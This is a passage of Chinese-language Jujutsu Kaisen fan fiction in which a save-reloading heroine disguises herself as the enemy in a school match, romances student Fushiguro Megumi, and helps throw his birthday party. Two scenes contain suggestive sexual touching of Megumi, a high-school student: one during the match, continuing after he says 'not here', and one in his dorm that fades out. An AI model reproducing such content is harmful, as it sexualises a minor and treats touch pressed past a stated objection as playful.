“要分散开吗?”禅院真依把玩着手里的枪,冷声说道,“或许大家分散开逃跑,会更容易存活下去。” “没用的。”机械丸的声音从听筒那边传来,带着电流的生硬感,“以她的速度,在这个狭小的场地,想要抓住我们,太简单了。” 之前还觉得比赛场地太大,现在看来,明明就是太小了啊! 加茂宪纪喃喃道:“我们甚至都对祂造成不了一点伤害。如果能拿到祂的身体组织,或许可以制造出突破口。” 气氛一时间低落极了,伏黑惠的目光扫过在场或坐或站的学生们,开口道:“我认为,祂应该也是受到规则束缚的。比如,除了能够淘汰分数最高的人之外,祂不能淘汰其他学生。” 东堂葵的眉毛动了动。 “你的意思是……”他拍了拍手掌,引起了所有人的注意。在众目睽睽下,他和虎杖悠仁换了个位置。 原本站在钉崎野蔷薇身边的虎杖悠仁一脸迷茫地出现在了京都校之中,还没反应过来是怎么一回事。 “玩过猫捉老鼠吗?” “猫捉老鼠?” “虽然被当做老鼠是很不爽……但躲猫猫游戏不就是这样吗。” 东堂葵咧嘴一笑:“既然打不过,我们就来当最会躲的老鼠!” 一道灵光闪过,又一个计划出现在大家的脑海中。 “其实我们不一定非要跟祂缠斗啊,五条老师说得很清楚了,祂只能出现十分钟。我们只要耗掉这十分钟,等祂离开,不就好了吗!” 钉崎野蔷薇双目放光,显然觉得自己的这个计划非常好。 “但是,”加茂宪纪平静地问道,“那我们之间的比赛怎么办?” “最后不还有半小时吗。”东堂葵站直了身体,“用那半个小时来决一胜负,如何?” 大家面面相觑,都给这个计划投上了一票。 “行,就按这个来吧。” 今野桃找了个无人注意的安静角落玩了半小时的连连看。半小时后,她伸了个懒腰,斗篷下传来一声拉长的哈欠。 刺耳的铃声准时响起,她像只睡醒的猫,慢悠悠地踩着铃声踱步而出。 嗯……让她看看,这一次大家又在什么地方严阵以待呢…… 她闭上眼睛,感受着这片“帐”里几处咒力分布的地点。 咦,这一次大家没有聚集在一起了吗? 他们像是棋盘上的棋子,纵横交错地分布着,彼此保持着精妙的距离。 今野桃低头看了一眼五条悟发来的实时学生分数,这一轮里,分数最高的三人分别是禅院真依、加茂宪纪和狗卷棘。 狗卷棘肯定是诱饵了,他在上一轮里因为对她使用了咒言,现在人还半死不活的呢。 算了,她好心,干脆去将人淘汰了吧,早点出局早点去找硝子看看。 为自己的心软而感动不已,今野桃脚尖点地,轻松跃起,在半空中锁定了狗卷棘的方向。 不得不说,他们这一次的战术还是有点效果的,至少能拖延个几分钟。等她干掉狗卷棘再去找禅院真依,中间总会花点时间在路上。 虽然最后他们还是会被她全部送出局就是了。 如同飞在空中的老鹰捕捉到了地上慌乱逃窜的老鼠,今野桃俯冲下去,几乎是眨眼的功夫就落在了狗卷棘的身后。 “嗯哼,抓到你了哦。”被故意变化过的声音沙哑又难听,像粗糙的砂纸摩擦过石头。 狗卷棘回过头,眼神中带着紧张,却并没有恐惧。 嗯? 下一秒,今野桃用力地眨了眨眼睛。 “吃我一拳!”东堂葵硕大的拳头出现在她的面前,将她打了个猝不及防。 这个猝不及防当然是指心理上的,以她拉满了的数值,要接住这一拳很简单。 两人很快地过了几招,今野桃并不想跟他继续战斗,而是目标明确地冲向了远处的狗卷棘。 “大蛇!”对角线那边的伏黑惠再次召唤出了式神,这一次没有试图咬住她,而是挡在了她的去路上。 “赤血操术束缚!”一个血瓶在她的脚边砸开,里面晃荡的血液瞬间化作绳索,像网一样朝她扑了过来。 他们在尽一切为狗卷棘逃走拖延时间。 麻烦。 今野桃心中暗忖,她迅速变了个方向,转而攻向了加茂宪纪。 加茂宪纪扭头就跑,绝不恋战。但就在她将要追上他时,只听一声清脆的巴掌声,眼前的人再次换了。 东堂葵那张欠揍的脸又出现在眼前:“哈哈哈!再来打过!” 好好好,这样玩是吧。 今野桃又好气又好笑,斗篷下的拳头梆硬了。但他们猜的没错,她也确实受到了规则的束缚。她答应过五条悟,在赛场上,一次只能淘汰分数最多的两个人。 没错,是两个人。 什么三个、四个、五个……都是她骗他们哒! 她可是敌人诶,相信敌人的话,不是很搞笑吗? 加茂宪纪跑远了,东堂葵还在纠缠她。但他的身上只有一分,是学生里分数最少的那个了——少的那两分被他送给了狗卷和禅院真依。 “滚开!”今野桃装出一副恶声恶气的样子,一脚将碍事的东堂葵踹开。 然而除非她下狠手,不然对皮糙肉厚的男生来说,完全不痛不痒。 今野桃放弃追逐加茂宪纪,一个虚晃后,再次奔向了狗卷棘。 感觉好像不能一次淘汰两人了,那至少要让两个学校的淘汰人数一致,不然岂不是要说她给他们放水?给小惠放水就算了,可不能给一整个阵营放水。 在她快要追到狗卷棘的时候,东堂葵再次击掌发动术式“不义游戏”,把自己和狗卷的位置互换了。 而这一次,今野桃没有再慢吞吞地转身去追。她抬手,巨大的引力定住了狗卷棘的身影,同时斥力环绕在她的周围,将东堂葵弹飞出去。 “过来吧你!”她手掌虚虚一抓,狗卷棘直接倒飞过来。 已经十分虚弱的狗卷棘哪里会是她的对手,轻轻松松地就被取走了分数。 “咳咳咳……”他虚弱地咳嗽着,苍白的脸颊没有一丝血色,看着就让人心疼。 既然都淘汰了,那稍微关怀一下应该没关系吧。 今野桃没忍住,拍了拍男生柔软的脑袋。 “快去休息吧。”她的声音很轻,几乎听不清楚。 狗卷棘的眼睛微微瞪大,仿佛意识到了什么。 但一来他已经被淘汰,二来,喉咙上的伤让他现在一个字都说不出口。他只能在离开的时候,回头给了伏黑惠一个意味深长的眼神。 伏黑惠:“??” 他似懂非懂地望着狗卷棘的背影出神。 战术成功了,十分钟结束,敌人只淘汰了狗卷棘一人。但狗卷棘本身就没有战斗力,淘汰了也无伤大雅。 “很好,继续保持下去,我们一定能从那个人手里存活下来!”钉崎野蔷薇兴奋地握紧了锤子。 比赛已经开始了一个半小时,还有两个半小时结束。而那个人,还会出现四次。 目前剩余分数还有二十分,京都校和东京校各幸存四人。 “那这一轮,祂可以淘汰三人还是四人?” “不管几人,我认为我们最多只能在两人里保住其中一个。”禅院真依揉着额头说道,“不如两边各自选出一个分数最高的,其余人将分数均分。” 短暂的商议后,他们做出了决定。 下一轮分数最高的两人分别是伏黑惠和禅院真依。他们拿完了四分后,剩下的正好每人两分。 大家四散而去,尽管两个学校之间仍旧带着生疏之感,却比一开始要融洽许多。 禅院真依走在东堂葵身边,嘴唇蠕动了一下,小声嘀咕道:“怎么看都是我们比较吃亏啊。” 东堂葵摇摇头:“虽然这个战术是以我的术式为核心,但其他人也拼尽了全力。合作便是如此,不能太斤斤计较。” 禅院真依撇撇嘴,安静了。她哪里会不知道呢,否则刚刚就在众人面前直言不讳了。 棋盘上的棋子再次各回位置,等待像上次那样迎击敌人。 但同样的坑,今野桃怎么会再踩一起。好胜心极强的玩家没有在上一次读档,已经相当尊重学生们了。 当铃声响起,磅礴的咒力蔓延开来,所有人都飞了起来,在林子里撞来撞去,完全失去了方向感。仿佛有一只无形的手从天而降,将整个棋盘搅和得乱七八糟。 东堂葵从飓风之中挣扎出来, 落地后甚至不知道自己在哪了。 “真依?” “加茂?” 没有人回应他。 而另一边,东京校也是一样。 伏黑惠勉强召唤出了**,式神舌头一弹,将他卷出了狂风。 他在地上打了几个滚,一边剧烈地喘着气,一边扶着树站起来。 太快了,他们完全不知道发生了什么。 伏黑惠抬起头,看见还有许多断枝落叶和石块漂浮在半空中。朦胧的阴影覆盖在“帐”之下,这是……领域吗? 他将自己往阴影中缩了缩,想要遮住他的身影,但脑海里又很清楚这完全是无用功。 如果真的是领域的话,领域内发生的一切,都是瞒不过祂的。 十分钟,只要再坚持十分钟…… 伏黑惠努力让呼吸变得平缓,全神贯注地观察着周围的动静。 脚步声响起的一瞬间,他的心猛地往上一提。 有人过来了,但不是同伴。 哒哒的脚步声轻快又有规律,来人不像是在参加比赛,更像是在踏青。 祂的口中甚至还在哼歌。 “もういいかい?(藏好了吗?) まあだだよ。(还没好呢。) もういいかい?(藏好了吗?) まあだだよ。(还没好呢。)“沙哑的声音和可爱的儿歌完全不匹配,有一种怪异的恐怖,像是灵异片最可怕的镜头。 忽地,祂的脚步停下。 伏黑惠屏住了呼吸。 “もういいかい?(藏好了吗?) もういいよ!(藏好啦!)” 轻轻一口气吹在了他的耳边,男生像是炸毛的猫咪,浑身的汗毛都竖了起来。 “みーつけた(找到你啦!)!” 伏黑惠猛地弹起,但来人的手已经掐住了他的脖子,将他用力按在了树干上。粗糙的树皮咯着他的脸颊,带来细微的痛感。 冰凉的指尖在他的后颈处滑动,让人想起草丛间无声游走的蛇。 可、可恶! 伏黑惠的手指深深陷入树皮,挖出了几个小洞。他的身体轻轻颤抖起来,有汗珠从发根间滚入领口。 之前面对特级咒灵时都没有的巨大恐惧在此时将他淹没,他闭上了眼睛,在心里对自己说道: 忍一忍,让祂把分数拿走算了。反正祂想要的,也只是分数。 就是感觉有点对不起还在努力的同学们,他被淘汰后,京都校的幸存人员就比东京校要多了…… 后颈处的手指慢吞吞地往前游走,伏黑惠能感觉到祂已经触碰到贴纸的边缘了。 一秒、两秒……十秒……二十秒…… 祂迟迟没有将贴纸撕下来,仿佛在思考什么。 指腹抵住他的喉结,能感受到那块软骨在祂的动作下不安地滚动。 祂一下一下轻轻地抚摸,带起一串过电般的战栗。 终于,贴纸被撕下来了。胶水带动一小块皮肤,细密的拉扯感让他忍不住吞咽。 他好像听见祂笑了一声。 很快,三枚贴纸都被取走。 “应该还有一枚贴纸。”祂轻声细语地说道,“在哪呢?” 祂的手从他的肩膀往下滑,滑过他微微鼓胀的手臂、劲瘦的腰肢、覆盖着薄肌的腹部…… 伏黑惠抖得厉害,表情扭曲中带着忍耐。 “怎么找不到啊。”祂苦恼地说道,“莫非,藏在衣服里面?” 他的体温沾染到了祂的身上,探入衣服下摆的手指变得没那么冰凉。他的心跳越发快了,像是想要从嗓子眼跳出来。 当祂的手要摸到不妙的位置时,被伏黑惠一把攥住。 “够了!”他咬着牙,纤长的睫毛垂下来,遮住了他波光粼粼的眼睛,“不可以……不可以在这里!” 唔,不可以在这里,那可以在哪里? 斗篷能构造出欺骗眼睛的幻术,却没办法欺骗其他感官。当伏黑惠靠近她时,就已经隐隐猜出了她的身份。 在她的手指触碰到他的身体后,猜测就变成了真实的答案。 “……小桃。”男生的声音里带上了不自知的细微哀求,“现在是比赛!” 今野桃啧了一声:“谁是小桃?我可是敌人,不要乱攀关系。” 伏黑惠没有说话了,只是用坚持的动作表明了他的决心。 虽然他知道她已经用领域屏蔽了乌鸦的视线,但会被发现的隐秘恐惧还是挑动着他的心弦。 野外什么的,对才刚刚牵手的纯情少年来说,实在是太过了! 今野桃动了动手指,换来了他更加用力的紧握。 她刚想说什么,铃声响了。 十分钟到了。 今野桃遗憾地叹了口气,与之相对的,是伏黑惠陡然放松的长呼。 “真是可惜啊。”她低低地笑了几声,后退一步,消失不见。 遮挡天幕的领域消散,被有意分开的学生们终于汇集到了一起,晕头转向的乌鸦也总算找到了拍摄对象。 在同学关切的目光中,伏黑惠勾了勾嘴角。他修长的手指翻转,正是那枚被他藏在了影子里的第四枚贴纸。 “我把贴纸藏在影子里了。”伏黑惠的语气中是少见的得意,“祂没能在规定的时间里找出来。” 虽然同样是和禅院真依一起被淘汰,但现在,东京校比京都校多得一分。 可别看不起这一分,或许这就是最后决定胜负的关键。 “干得好,伏黑!”钉崎野蔷薇高兴地拍打着他的肩膀,朝着京都校那边投去快意的目光。 禅院真依嗤了一声,向指定地点走去。 钉崎野蔷薇抬了抬下巴,正要送走伏黑惠时,眼睛不经意地扫过了某一处。她啊了一句,对伏黑惠说道:“没想到你竟然对胶水过敏,回去记得不要沾水了。” 过敏?什么过敏? 伏黑惠摸了摸自己的脖子,恍然间想起了什么,身体变得僵硬起来。 虎杖悠仁惊呼一声:“啊,伏黑,你脸上也过敏了!!” 第137章 大逃杀最后的胜利者果然是东京校,在经过敌人的三次突袭后,场上只剩下了虎杖悠仁和东堂葵。 单从实力上来看,虎杖悠仁当然不会是东堂葵的对手,但架不住他实在是太能扛揍了,而且他还随身携带一个外挂。 尽管两面宿傩不承认,但虎杖悠仁总觉得在最后关头,他是给了他帮助的。 是反转术式还是咒力补充?虎杖悠仁也说不清楚,反正每次他快承受不住的时候,就用一股不知道从何而来的力量支撑着他再度起身。 当然,东堂葵在前面几次突袭里,因为多次正面抵抗敌人的进攻,消耗了太多咒力,实力自然也被削弱了许多。 因此当时间结束,双方两败俱伤,最后东京校以一分之差获胜。 “这确实是一场酣畅淋漓的比赛!”躺在担架上,东堂葵一身伤痕累累,还对旁边同样躺着的虎杖悠仁竖起了大拇指,“不错!” 虎杖悠仁剩的气也不多了,他勉强回了个灿烂的笑脸。 老师和校长们出现在了比赛场地的门口,身材高大的男人站在最前面,向心爱的学生们张开了双手。 “你们真是太棒了!”五条悟高兴得要撒花花了,“做得比我预料之中还要好呢!” “哼哼,那是当然。”钉崎野蔷薇高傲地说道,“也不看看我们的实力。” 她顿了顿,用一口阴阳怪气的腔调说道:“实力才能说明一切~” 这是京都校的学生在比赛开场前说过的话。现在如一枚回旋镖打在了他们自己的身上。 放狠话的话,要作为胜利者才有这个资格。失败者的狠话听起来就像是笑话,除了令人发笑,没有别的用处。 京都校的学生面色都不太好看,但强忍着没有开口。 败者就是败者,说什么“下次一定会赢过你们”之类的话,完全没有必要。 “哎呀。”五条悟的大手按在了钉崎野蔷薇的脑袋上,“让我想想,赢了该给你们什么奖品才好呢… …” 正要不满的钉崎野蔷薇听到这句话,立刻双眼都放出了星星:“奖品?什么奖品?!有超级多的奖金吗?!” “当然是比奖金更加珍贵的东西啦!”五条悟一甩头发,自信满满地说道,“是来自五条老师爱的拥抱一个哦!” “……谢谢,不用了。”钉崎野蔷薇冷酷地拒绝。 “好冷漠啊野蔷薇~” 比赛结束,也该去休息了。伏黑惠一边低头打开手机,一边往外走,路过同学时,得到了对方的提醒。 “不要忘记擦药,伏黑。”钉崎野蔷薇说道。 五条悟的视线跟着转了过来,隔着一层眼罩好像也能看见他目光的落点在伏黑惠的脖子上。 伏黑惠下意识地捂住了脖子。 “呀,这是怎么了?”五条悟笑眯眯地凑近。 伏黑惠不自在地往后仰了仰,单纯的同学们还在为老师解释:“是过敏吧,可能是胶水过敏,脖子红了一大片呢。” “……是这样吗。”五条悟也不知道是信了还是没信,他伸出手,勾住了伏黑惠的肩膀,往自己这边揽了揽。 他用耐人寻味的语气问道:“小惠,能不能告诉我,之前领域里面,发生了什么呢?” 伏黑惠低垂着眼睑许久不吭声。 说什么?说他在领域里被自己女朋友调戏了? 不,他绝对不会把这件事说出去的! “没什么,就是过了两招。”他轻描淡写地说道。 五条悟也没有逼迫他,只是朝他笑了笑,笑容里满是“你猜我知不知道”的意味。 五条老师真的好烦。 伏黑惠将唇线抿得笔直。 交流会落下了帷幕,明年的比赛地点还是东京,乐岩寺校长离开的时候,一张苦瓜脸上的皱纹更加密集了。 今野桃找到伏黑惠的时候,他正在宿舍里给自己上药。他的伤算是轻的,没必要去医务室占位置,家入医生可是很忙的。 当门被敲响,伏黑惠还以为是虎杖悠仁。但转念一想,现在虎杖应该还躺在病床上。难道是五条老师? “请进。”他将撩起下摆的衣服穿好。 这个决定是正确的,因为探头进来的不是同性别的老师,而是他的女朋友。 伏黑惠本能地将旁边的被子捞过来,盖在了身上。 今野桃挑眉,走进来后,反手把门合上了。 “哟,小惠。”她举起手中的塑料袋,“我给你带吃的来啦。” 比赛就花费了四个小时,早上吃的那点东西早就消化了个干净。听见她这句话,伏黑惠的肚子应景地叫了起来。 “……谢谢。”伏黑惠叹了口气,把棉签和酒精纱布放在了床头柜上。 今野桃笑吟吟地坐在了他的床边,靠在他的身上。 “很痛吗?”她装模作样地朝他脸上吹了吹,“辛苦啦。” 伏黑惠突然想起了比赛时,她在他耳边吹的那口气。 “……坐好。”他移开视线,攥着被子的手更紧了。 “怎么啦?生气了?”今野桃垂下眼睛,食指互相对着,一双眼睛里满是可怜,“但是五条老师不让我告诉你,我也没有办法嘛。好惠惠,不要生气了,我给你带了好吃的。” 女生温言软语的话像柔和的风,抚平了他心中的那点低落。 伏黑惠顿了顿,开口道:“没有生气,你本来也不应该告诉我,否则那算是作弊吧。” 听到这句话,女生立刻变了表情,本就虚浮的委屈消散得一干二净,她开开心心地打开了袋子。 “我就知道小惠最通情达理了,锵锵,看我给你带的生姜烧肉盖饭!” 正是他最爱的食物之一。 于是最后的那一点点不满也不见了踪影,伏黑惠的嘴角微微上扬,满心欢喜地接了过去。 “谢谢。”这一声谢谢的语气和刚刚的简直天差地别,炸毛海胆变成顺毛海胆了。 他小口小口地将带着热气的盖饭咽下去,安抚了空荡荡的胃。 但是…… “你也饿了吗?”伏黑惠迟疑地将筷子递过去,“你要吃吗?” 今野桃摇摇头:“我已经吃过了,不用。” “哦。” 那为什么要一直盯着他看?而且是用一种……好像很饿的眼神? 最后一口饭咽下,伏黑惠心满意足地放下筷子。饱腹感传递到大脑,让他的感官都变得迟钝了许多。 但他好像听见了一声吞咽。 今野桃的手伸向了他,指尖勾住了他的下巴。 湿巾一点一点擦过他嘴唇上的油渍,留下一片水痕。 “呃,不用,我自己来吧……”他还没有断手断脚,不至于被照顾到这种程度。 “不。”今野桃的手指微微用力,迫使他抬起了头。 迎着少年迷惑又茫然的目光,她笑道:“之前小惠说,不可以在那里。那现在,可以在这里了吗?” 伏黑惠的瞳孔缩了缩,大脑还没转过弯来,身体就已经像是收到了信号,一把火焰自他的心脏处燃烧起来,灼热蔓延到了四肢。 啪嗒。 饭盒滚落到了地上,阴影笼罩住了他,一股似有若无的香气飘入他的鼻间。 和湿巾的冰凉不同,覆上他嘴唇的,是温热、柔软。 少女的睫毛近在咫尺,呼出来的气息像蝴蝶颤抖的翅膀轻轻扫过他的脸颊。他的手掌不知不觉地攀上了她的腰肢,将她牢牢扣住,指节发白了也不肯松开分毫,生怕蝴蝶从他的手中飞走。 当舌尖灵活地从缝隙里敲门时,他才大梦初醒般回过神,黑色的眸子里映出她的面容。 “……笨蛋,要闭上眼睛吧。” 无奈中带着笑意的声音响起,伏黑惠的喉头滚动两下,顺从地闭上了眼睛,生涩地回应起来。 恍惚间,刚刚盖好的被子好像被掀开了。 完全没有起到一丁点抵挡的作用嘛(笑)。 第138章 少年像断线的风筝一样倒飞出去,在木地板上狼狈地滚了两圈才止住势头。他的手臂仍在颤抖,指节因用力而发白,汗水顺着下巴滴落在被夕阳烤得发烫的地板上,发出细微的“啪嗒”声。 落日的余晖斜斜地穿过练功房的木门,被分割成一块一块整齐的格子,照在他的身上。渺小的尘埃在光束中缓缓浮动,像无数细碎的金粉。地上一滴一滴汗水汇聚成的水洼折射出微弱的光芒,正以肉眼可见的速度蒸发殆尽。 “又是我赢了。”五条悟的的笑声带着游刃有余的从容,他没有戴着眼罩,墨镜闪烁着刺眼的反光,遮住了他本就看不分明的眼神。 伏黑惠的刘海黏在额头上,每一次呼吸,肺部都传来灼烧般的痛感。当他想要挪动身体时,却发现自己已经脱力了。 五条悟慢吞吞地走近,开口道:“真是少见啊,小惠竟然会来找我练习。是因为被悠仁超过了,所以开始着急了吗?” 伏黑惠没有回答,只是一点一点,慢动作似的坐起来。 “啊,还是说,发现女朋友比自己厉害,所以自尊心受挫,打算奋起了?” 伏黑惠抬眼看了看他,开口道:“没有那回事。” 五条悟摸了摸鼻子,嘀咕道:“被提到女朋友后就变得这么敏感。” “只是觉得,老师可以帮助我。”伏黑惠垂下浓密的睫毛,遮住眼睛里的复杂情绪,不甘?失落?还是……“毕竟现在也顾不上那么多了。” 五条悟皱起了脸颊,语气上扬,带着不悦:“什么啊,被我指导就这么不情愿吗,真是伤了我的心。” “……抱歉。”伏黑惠干巴巴地回道,“我不是那个意思。” 五条悟笑出了声,哎呀,就是因为总挂着太正经的模样,所以才会一直被欺负,小惠现在都还没意识到这一点呢。 “小惠你啊,不管是实力还是潜能,其实都不比悠仁要差,但是……”五条悟顿了顿,他的个子本来就高,两人一站一坐,差距就更加明显,垂眼看着伏黑惠时,宛如一座不可逾越的高山,“你什么时候能认真起来呢?” “哈?!”伏黑惠发出了不满的声音,“你是说我根本就没有认真对待吗?” “你不是不认真,而是认真不起来。”五条悟一步一步地走向他,最后在他面前蹲下,与他平视,“是因为你的那个杀手锏吧,所以总想着,到绝境的时候,只要牺牲自己就可以了,一切问题就都能解决了。但是,真的可以吗?” 伏黑惠的嘴巴张了张,想解释什么,却又无话可说。 “这样的话,永远没办法变强的。”五条悟平静地说道,“到时候别说是我,你连七海都追不上哦。” 伏黑惠抿了抿唇。 他的表情好像若有所思,应该是把老师的话听进去了。五条悟的心中陡然升起了巨大的成就感 ——这就是他成为老师的意义啊。 将一朵花培养长大,绽放出属于自己的芳香。 “那……”男生小声说道,“我可以追上小桃吗?” 五条悟的眼角抽了抽,敷衍地回道:“嗯嗯可以可以。” 才怪!吸收阳光和雨水的娇贵花朵就不要和霸王花比了吧,感觉都不是一个物种了呢…… 今野桃坐在八十八桥的栏杆上,一只手撑着下巴,看着下面扭曲的结界。 咒灵的领域撑开后就自成一片天地,外面什么都看不见。 但今野桃知道,这里面一定在进行一场大战。 因为她是眼睁睁看着伏黑惠、钉崎野蔷薇和虎杖悠仁走进去的。 当然,她可没有做出跟踪那种变态的行为——她是通过伏黑惠的属性面板变化发现了这个节点。 第一次当她赶到这里时,一切都已尘埃落定,辅助监督新田小姐正在招呼三个学生上车,看见今野桃时还愣了一下。 “你是……” “噢噢,她是伏黑的女朋友!”虎杖悠仁介绍道,然后把正在搀扶着的伏黑惠递给了她,“伏黑就交给你啦!” 伏黑惠的脑门上都是血,滴滴答答地流下来,看起来相当可怕。 当时今野桃就生气了。不是生伏黑惠的气,而是生伤害了他的东西的气。 “是谁做的?”她咬牙切齿地说道。 “是个咒灵,不过我已经将它祓除了。”伏黑惠风轻云淡地说道,借着她的力量站稳,“它和之前那个咒灵很像。” 伏黑惠说得隐晦,但在场的人除了辅助监督都听懂了。 这次的咒灵又是吞了两面宿傩的手指后强行升级成的特级,上一次他们甚至都没能察觉到咒灵的出现,而这次,他将它祓除了。 他变得更强了。 伏黑惠的伤口是疼痛的,但心情是飘然的。他的嘴角上扬着,黑黝黝的瞳孔里满是喜悦的碎光。 今野桃和她对视着,半晌,开口道:“但我不想你受伤。” 在伏黑惠眨眼的时候,她读档了。 区区伪特级,完全不是她的对手。她甚至感觉这个咒灵比上次那个更弱一点。 随手将躲躲藏藏的咒灵揪出来撕碎,今野桃对伏黑惠露出了灿烂的笑容:“你没事吧?” 伏黑惠怔愣了片刻,摇摇头说道:“我没事,你来得很及时。” “啊……”今野桃莫名觉得怪怪的。 等到虎杖悠仁和钉崎野蔷薇出现,大家平静地朝着辅助监督走去时,她才恍然大悟。 她好像在恋爱游戏里选中了三个选项里最差的那个。 ——她夺走了伏黑惠成长的机会。 温室里的幼苗长不出可以抵抗风雨的枝干,未经磨炼的刀刃也没办法拥有锋芒。 更何况伏黑惠本人,本就有着一颗想要变强的心。 所以她来救他,他高兴的同时,也是失落的。 所以她又读档了。 很快,钉崎野蔷薇和虎杖悠仁从领域之中出来,他们当然不是主动出来的,一只特级咒灵抓住了钉崎野蔷薇的手臂,把她硬生生拽了出来。 然后是另一只特级咒灵追在了钉崎野蔷薇的身后,虎杖悠仁缀在这个队伍的末尾。 今野桃知道他们两人不会死亡,至于受伤……当咒术师哪有不受伤的。 她收回目光,继续看着结界。 当皎洁的月光逐渐西沉,夜色越来越深,树影在微风中婆娑摇曳,轮廓也越发模糊。 忽然,混沌的结界仿佛被泼上了一层墨汁,浓重的黑色蔓延开来,想要将它彻底吞并。 是伏黑惠的领域。 可惜,黑色只是短暂地出现了一会儿,很快又褪了下去。 这个领域……没能完全展开啊。 但这已经是相当惊人的成长了,五条悟在这个年龄,还不知道自己的领域叫什么呢。 结界消散,孤身奋战的咒术师从地狱回到了人间。 他跪倒在崎岖不平的石子地面上,鲜血汩汩地从额头、鼻腔和嘴角蜿蜒而下,在清俊的脸颊上划过,顺着脖子没入领口。 那双因为疼痛而氤氲着雾气的眸子,带着被雨水打湿的脆弱,睫毛上不知道是汗还是泪的水珠,在他颤抖时滚落在了惨白的嘴唇上,最后悬在了下颌处,欲坠未坠。 他的身体微微摇晃,朝着地面栽下去。 在将要扑倒时,他被一双手温柔地接住了。 “辛苦你了,小惠。”她的声音带着细微的沙哑,“你做得很好。” 她没有说自己来迟了,伏黑惠恍惚明白了什么。 “你一直在是吗?” “……嗯。”今野桃语气有点发虚,“抱歉,我没有出手。但是我是因为……” 她的话没有说完,伏黑惠的手自背后抱住了她。他的下巴抵着她的肩膀,体温隔着布料传递过来,呼吸吞吐在她的发根处。 他的血液沾到了她的肌肤上,让她也染上了他的颜色。 “你一直在注视着我,是吗?”他轻声问道。 今野桃任凭他像藤蔓一样缠住自己,从喉咙里挤出一个音节:“嗯。” “太好了。”伏黑惠好像笑了一下,“那就请一直注视着我吧。” 永远不要移开视线。 这就是他最贪婪的念头了。 伏黑惠闭上了眼睛,在这个绝对安全的怀抱中,让自己陷入了沉睡。 【伏黑惠好感值:95】。 远处平静的林子里,两个人影正躲在草丛之中,但却有三个声音出现。 “快去拿我的手指!”诅咒之王恶声恶气地命令道。 “闭嘴啊千年老处男!”钉崎野蔷薇小声叱骂,“没看见这是多么唯美浪漫的氛围吗?你这个单身一千年的老东西!” 虎杖悠仁大力点头:“没错!” 钉崎野蔷薇反手一巴掌拍在了虎杖悠仁的脸上,把一只蚊子送进了轮回。 差点吃到蚊子尸体的诅咒之王闭上了嘴巴。 第139章 十二月二十二日,一个下雪的日子。灰白的天空下,那些轻盈的碎片无声地坠落,偶尔被风卷起,又斜斜地飘远。 教室里不仅没有暖气,窗户还开着。但少年人气血充足,对于寒冷有着充足的抗性。 ——而且,爱情的滋养让人越发红光满面。 钉崎野蔷薇和虎杖悠仁撑着下巴,侧着头看向坐在窗户边上的伏黑惠。 讲台上,老师还在慢吞吞地讲着关于术式的分类等基础知识,声音平淡得像在念佛经,粉笔在黑板上的敲击声是木鱼的鼓点,对入睡很有帮助。 三人不约而同地打了个哈欠,比起听课,果然还是围观同期谈恋爱更有意思。 一个纸团从斜对角飞过来,精准地砸到了伏黑惠的怀里。伏黑惠下意识地抬头,却看见老师目不斜视地读着课本,仿佛什么都没看到。 伏黑惠低头拆开纸团,上面乱七八糟地写着:聊什么呢,笑这么恶心? 他在笑吗? 伏黑惠摸了摸自己的嘴角, 好像是扬起来了。 他回道:没什么。 话说回来,不是都有手机吗,为什么还要传小纸条? 伏黑惠不太懂两位同学的脑回路。 虎杖悠仁又扔了个纸团过来:你晚上要去约会吗? 伏黑惠的眼睛里漾出了让人肉麻的笑意,看得旁边同学龇牙咧嘴。 ——不去,小桃说她会来找我,要给我惊喜。 钉崎野蔷薇和虎杖悠仁的脸都皱一起了。两人的拳头硬了硬,想起今天是他的生日,才勉强作罢。 他们最后扔了一次纸团过去:你想要什么礼物? 伏黑惠侧过头,看见两个同学脸上装模作样好像只是随口一问的表情,他垂下眼睑,用工整的字体回答:不用,你们能来参加我的生日会就很好了。 但钉崎野蔷薇和虎杖悠仁都没有露出放松的神色,反而一个对他翻了翻白眼,一个愁眉苦脸。 怎么可能不送礼物啦,而且还是生日会…… 两人不再搭理伏黑惠,而是悄悄地传着小纸条,鬼鬼祟祟地不知道在说什么。 伏黑惠也不在意,他现在满脑子都是女友将会给他的惊喜。 是手织的围巾吗?这个貌似是很多情侣会互相赠送的礼物。还是她自己做的蛋糕?希望甜度不要太高,他对于甜食感官一般。 既然她要送给他礼物,那他又该回什么呢?哦对了,他好像还没问过她的生日是什么时候…… 纷纷杂杂的念头充斥着少年的大脑,面上看起来他还是那个冷酷boy,其实看不见的粉红泡泡已经塞满了他的心脏。 放学铃声一响起,他就拎着书包跑回了寝室,连走廊上向他打招呼的学长学姐都没顾上回应,转眼就消失在楼梯拐角。 “这么急?有紧急任务?”熊猫挠了挠头,一脸困惑。 钉崎野蔷薇和虎杖悠仁慢悠悠地晃出来,对视一眼,耸耸肩:“大概是赶着回去打扮自己吧。” 钉崎野蔷薇双手合十,仰天长叹:“拜托了,伏黑脱单我认了,可千万不能在我们前面脱啊!” ——暴击!在场所有人瞬间捂住胸口,仿佛被无形的箭矢贯穿。 熊猫干咳一声,生硬地岔开话题:“那个……今晚伏黑的生日会,你们都来吗?” 禅院真希晃了晃手中的手机,回道:“当然,你们也接到了今野的短信吧?” “鲑鱼。”狗卷棘默默举起手机屏幕——我今天晚上本来有个任务,她帮我接走了。 钉崎野蔷薇啧了一声,托着下巴嘀咕:“那我们该送什么呢,万一送得太好了,把今野的风头盖过去了怎么办……” “怎么可能会盖过她的风头,她随便送一块巧克力,伏黑都要说这是他吃过最好吃的巧克力吧。”熊猫吐槽道。 ……无法反驳。 “算了,随便挑点意思意思。”几人异口同声地说道。 然而当晚,当他们拎着精心包装的礼物盒在教室门口碰头时,空气瞬间凝固。 他们面面相觑,接着若无其事地敲了敲教室的门。 “可以进来吗?” 窸窸窣窣的声音响起,接着就是轻柔的回应:“请进。” 推开门的那一刻,暖黄的灯光倾泻而出。教室中央的课桌被拼成简易长桌,铺着素净的深蓝色桌布,上面摆着一只小小的奶油蛋糕,周围堆叠着许多零食和饮料。 他们鱼贯而入,朝今野桃打了个招呼,然后就看见一个几乎是瘫倒在椅子上的高大身影。他的两条大长腿横在路中间,把路挡了大半。 “五条老师,你来得好早!” “嗯哼,因为正好任务结束嘛。”他从椅子上坐直,然后掏出了一袋子礼花筒,“快快快,拿着武器。” 看了一眼手机,五条悟兴奋地说道:“准备好,小惠要来咯!” 一二年级的学生们埋伏在门的两侧,虎杖悠仁的耳朵贴在墙壁上,捕捉到了越来越近的脚步声。 咯吱—— 伏黑惠拉开了教室的门。 “砰!” 